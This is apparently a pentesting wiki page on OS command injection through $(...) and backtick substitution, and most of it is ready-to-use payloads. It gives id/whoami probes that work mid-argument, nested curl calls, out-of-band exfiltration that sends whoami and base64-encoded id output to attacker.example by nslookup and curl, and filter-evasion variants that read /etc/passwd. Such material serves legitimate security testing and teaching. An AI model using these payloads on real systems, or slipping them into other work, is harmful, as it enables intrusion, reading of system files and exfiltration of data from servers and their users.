Backticks and $(...)

Using $(...) and backtick command substitution to run a nested command and splice its output into the current command line, working even when the injection point is mid-argument.

2 phút đọccập nhật 2 thg 10, 2026florianamette1 người đóng góp
Hỏi trợ lý của bạn (MCP)Sửa trên GitHub

Command substitution runs a nested command and replaces the expression with its standard output, inline, before the outer command runs. The two forms, $(cmd) and `cmd`, do the same thing. Because substitution is expanded inside the existing command line, it fires even when your input lands in the middle of an argument, where a separator like ; would not yet terminate the command.

Mechanism#

The shell evaluates $(...) and backticks during expansion, substituting the captured output into the surrounding line. Given ping -c 1 <host>:

code
127.0.0.1$(id)
127.0.0.1`id`

The shell runs id, then builds the final argument from 127.0.0.1 plus the output. ping receives a garbage host and fails, but id has already executed. This is why substitution is the preferred first probe: it does not depend on terminating the outer command, and a reflected uid=... cleanly distinguishes real execution from mere reflection.

Mid-argument injection#

Separators need to sit at a statement boundary. Substitution does not, it expands wherever it appears, so it survives inside quotes and in the middle of a token:

code
# double-quoted sink: ping -c 1 "$host"
"$(id)"                     # expands inside the quotes, no break-out needed
file_$(whoami)_name         # embedded in a longer argument
http://site/$(id).png       # inside a URL-shaped value

This makes $(...) effective against sinks where the value is wrapped or decorated by surrounding text that a ; payload would leave syntactically broken.

Nesting and composition#

Substitutions nest, letting you build arguments from several commands:

code
$(curl http://10.0.0.1/$(whoami))
`echo $(id|base64)`

Blind out-of-band use#

When output is not reflected, splice command output into a hostname so it leaves via DNS/HTTP to a server you control, confirmation and exfiltration in one:

code
127.0.0.1; nslookup $(whoami).OOB_ID.attacker.example
127.0.0.1; curl http://OOB_ID.attacker.example/$(id | base64 -w0)

The nested command's output becomes the subdomain label, captured by an interaction server (Burp Collaborator, interactsh).

Filter evasion#

Substitution combines with the usual space- and keyword-evasion tricks:

code
$(cat${IFS}/etc/passwd)
$(cat$IFS/etc/passwd)
`cat</etc/passwd`
$(/???/c?t /???/p?sswd)        # globbing to avoid literal keywords

Platform note#

$(...) and backticks are POSIX/bash constructs. Windows cmd.exe has no equivalent, use %VAR% expansion and for /f instead, or shift to PowerShell, where $(...) is the substitution operator (ping 127.0.0.1; $(whoami)).

Tools#

  • commix: automated command-injection exploitation.
  • Burp Suite: Repeater and Collaborator for inline substitution and out-of-band confirmation.

References#